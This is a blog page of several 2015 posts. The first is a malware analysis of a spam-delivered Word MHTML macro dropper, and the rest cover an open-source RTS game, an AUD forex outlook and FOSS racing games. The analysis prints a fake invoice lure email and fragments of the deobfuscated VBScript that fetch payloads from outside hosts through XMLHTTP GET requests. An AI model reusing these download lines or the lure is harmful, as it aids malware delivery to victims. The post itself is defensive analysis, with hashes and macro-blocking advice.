Friday, 8 May 2015

New malicious Office docs trick


It all starts with the 1,000,000th usual spam mail in your inbox:

Have you received an order form? No.











The content is as follows:


Dear,

We have received your order form [AY19358KXN]  and we thank you very much. Our sales department informs us that they are able to dispatch your stock by the end of next week following your packing instructions.

As agreed, we have arranged transport. We are sending herewith a copy of our pro-forma invoice.

The consignment will be sent as soon as the bank informs us that the sum is available. We hope you will be satisfied with the fulfilment of this order and that it will be the beginning of a business relationship to our mutual benefit.


Attached is a DOC file with (surprise) a macro attached. However, the method's different than usual:


In the past, there have been some other new tricks as well, for example:
Analyzing an MS Word document not detected by AV software
XML: A New Vector For An Old Trick
Malware authors go a step further to access bank accounts

In regards to any Office files, you can simply open the file in Notepad++ for example and you'll see the .mso appended at the end. The new thing here is that it's a Word MHTML file with macro(s).

Using olevba (by @decalage2), we can extract and automatically decode the .mso object - which contains a bunch of (what appears to be) random gibberish:

Function that "Returns the character associated with the specified character code"






You can use the ASCII character code chart to figure out what this malware is doing exactly, for example the first line Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) is simply "HTTP".

Another option is to use a Python program made by Xavier Mertens, deobfuscate_chr.py.
You can find a Pastebin here with the extracted + deobfuscated macro.


Short analysis of this .doc file using olevba












Other tools are available as well, for example oledump and emldump from Didier Stevens.

Emldump + passing through oledump extracted a malicious link











 
Now, what happens when you execute this malicious Word file?

Oops, seems macros are disabled :)







If macros are enabled, or you choose to enable the macro in that document, a Pastebin download link was opened and the file was executed. Process flow is:

Word document -> download VBS from Pastebin -> Execute VBS -> Downloads & executes EXE file -> Downloads & executes another EXE file.

Visually, you might get either of these images:

dim JHyygUBjdfg: Set JHyygUBjdfg = createobject(Microsoft.XMLHTTP )
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Adodb.Stream )
JHyygUBjdfg.Open GET , http://savepic.org/7260406.jpg
















dim sdfsdfsdf: Set sdfsdfsdf = createobject(Microsoft.XMLHTTP )
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Adodb.Stream )
sdfsdfsdf.Open GET , http://savepic.net/6856149.jpg












Dropper, payload, related files:

AY19358KXN.doc (original file)
SHA1: b2c793b1cf2cf11954492fd52e22a3b8a96dac15
VirusTotal

Extracted macro (I named it AY.vb)
SHA1: 79b0d7a7fe917583bc4f73ce1dbffc5497b6974d
VirusTotal

JGuigbjbff3f.vbs (dropped VBscript file)
SHA1: c8a914fdc18d43aabbf84732b97676bd17dc0f54
VirusTotal
Deobfuscated VBscript

o8237423.exe (dropper)
SHA1: 7edc7afb424e6f8fc5fb5bae3681195800ca8330
VirusTotal

DInput8.dll (payload)
SHA1: 8bfe59646bdf6591fa8213b30720553d78357a99
VirusTotal





Prevention



Conclusion

It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email. ;-)

If you're in an organisation, you might want to consider blocking the execution of all macros (or only allow the ones that are digitally signed if there's really no other choice) by using GPO.

You can find those templates here:

Note: starting from Office 2010, macros are disabled by default.


Resources


Thursday, 7 May 2015

Old school 2D RTS Wyrmsun is looking to be greenlit

We were kindly made aware by the main developer of the 2D RTS Wyrmsun that he is currently looking for support to get this game on the Steam platform (link includes a game-play video).

Here is a description of the game we got from him:
In Wyrmsun, humans, elves and dwarves all seek to carve a place for themselves on their different homeworlds, with humans living on Earth, dwarves dwelling on Nidavellir, and elves inhabiting Alfheim. In the game's missions, each world follows separate storylines, but the various civilizations can be mixed and matched in custom games.

Wyrmsun features:
  • Retro-style graphics
  • 2 playable civilizations, and a number of non-playable ones
  • 18 quests to play, earning technology points which can be used to obtain new units, buildings and technologies
  • 38 units, 30 buildings and 14 technologies
  • Units that can earn experience, being able to upgrade to new unit types or acquire new abilities upon level-up
  • Persistent heroes, who carry over their level and abilities throughout scenarios
  • Personal names and traits for units
  • Cave, Conifer Forest, Dungeon, Fairlimbed Forest and Swamp tilesets
  • 33 maps of real and fictional locations to choose from, as well as random maps
  • Living environment, with fauna reproduction and predation
  • Very moddable game, with mod-loading capability built in
  • Grand strategy mode, where production is resolved on the strategic (world map) level, while battles are resolved on the tactical level
  • In-game encyclopedia, allowing players to learn more about the units, buildings and other elements of the game, as well as their historical and mythological sources of inspiration.
For those more inclined to help out with the code, there are two code repositories: one for the game and one for the modified Stratagus engine.

P.S.: Yes FOSS games can be on Steam as long as they don't integrate with closed source steam integration libraries; And it can be a great way to attract more users to your game and maybe even collect some donations or sell add-ons (preferably in a "release freely when sufficient funds are gathered" style). See this game for an successful example.

Sunday, 3 May 2015

AUS/USD Forex Report 4th MAY 2015

AUD Primary Cycles

The Completion of the Break & Extend pattern from the 2014 lows into major support @ 7567
has provided a robust pattern for the AUD to continue to rise up into the 3-month highs. 

That 3-month high is now 80.90 in MAY, and if it's going to continue higher then the support level becomes .7802-.7819 (Yearly lows and 3-month 50% level)

Above .8090 (resistance) and trend bias is to move back towards the 2015 50% level over the next 6 months.

Short-term and we have tomorrow's interest rate announcement, and if they drop rates then it could put pressure on the AUD once again.

However, last week's spike and retracement might have that already factored in, as the Reserve bank leaked the news early.

Therefore don't be surprised to see the AUD move upwards after the news. (trade on the side of .7802)



Friday, 24 April 2015

New FOSS 3D RTS Engine, OpenRTS!

I had been following this really awesome looking tile based RTS 3D engine project (think Starcraft2 like) on the jMonkey Engine forums for a while, and it is now fully FOSS including the arts assets.
Don't expect a playable RTS game, but as you can seen in this video of the in-game level editor a lot of work has been done already:



You can contribute to the MIT licensed source on their github page (the author asks for help) and/or head over to the website of engine it uses, jMonkeyEngine, a great project written in Java.

Saturday, 18 April 2015

Top Futuristic Open Source Racing Games on Linux


F-Zero and Wipeout set the standard for the futuristic sci-fi racing games genre and inspire many game developers.

Over the years, four projects of that genre were started and developed to a playable state that are now open source code:




H-Craft by Irrgheist is a free sci-fi racer with IAP on Android. It is built with the Irrlicht engine and was recently released as free software with freeware data.

While gameplay is simple without pickups, boosts or weapons, the campaign keeps it interesting. The 180°-Turns used in H-Craft level design are very refreshing to the genre.




CoreBreach is a commercial anti-gravity racing game with combat gameplay. There is a freeware dataset that allows compiling and playing a simpler-looking version.

Being an Objective C project, it was unusual to compile for me on latest Arch Linux but possible. Campaign mode, weapons and split-screen multiplayer make it cover many bases.




Racer is the only project with 100% free as in freedom data, yet unfortunately it does not compile on current Arch Linux.

Of our four projects, this is the only that has the classic drive-over boost fields.




Ecksdee is the oldest of the bunch and has challenging time trial single-player gameplay.

There are weapon pickups but without AI or human competitors they serve no purpose yet.



Project Comparison



H-Craft CoreBreach Racer* Ecksdee
Latest Version 2015-02-23 (1.3) 2012-11-30 (git) 2010-10-10 (r349) 2006-11-24 (0.0.9)
Campaign Mode yes yes no no
Split-Screen Multiplayer no yes yes no
Weapons no yes no yes
AI yes yes no no
Gamepad Support yes yes yes no
Menu UI Look good ok good ok
Music yes yes no yes
Sounds yes yes yes yes
Linux Builds or Compiling not tested, build used complicated but compiles fails fails, win32 build/wine used
Art Asset License(s) Mostly no-modify-no-distribute no-distribution, GPL, CC-BY 3.0 CC-BY-SA 3.0 GPL, CC-BY-NC, CC-BY-NC-ND
Is It Cool? yes yes yes yes
* Could not build racer, reviewing from long term memory



Related projects


Stunt Rally has a F-Zero-esque antigrav vehicles and futuristic levels but primarily it's a car racing game. The default physics don't seem to be working for a futuristic racing style.




The cool Blender Game Engine project RGP has it's .blend file available but it does not have license information. The .blend contains no audio and only one level without AI.




HexGL is pretty but has no sound, no ai, only one level and is CC 3.0 BY-NC licensed (including code) at the moment. If anybody is interested in contributing: the developer indicated interest in the MIT license.



TheRush seem to be Windows-only and does not run in Wine.